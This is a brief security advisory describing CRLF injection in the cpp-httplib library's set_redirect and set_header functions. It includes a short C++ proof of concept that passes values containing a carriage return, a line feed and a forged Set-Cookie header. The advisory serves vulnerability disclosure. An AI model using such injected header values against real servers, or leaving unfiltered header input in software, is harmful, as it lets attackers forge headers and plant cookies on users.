Overview

Affected versions of this package are vulnerable to CRLF Injection due to not filtering \r\n in parameters passed into the set_redirect and set_header functions.

PoC

#include "cpp-httplib/httplib.h"
using namespace httplib;
int main() {
    Server svr;
    svr.Get("/1", [](const Request& req, Response& res) {
        res.set_redirect("1\r\nSet-Cookie: a=1");
    });
    svr.Get("/2", [](const Request& req, Response& res) {
        res.set_header("a", "1\r\nSet-Cookie: a=1");
    });
    svr.listen("localhost", 3000);
}
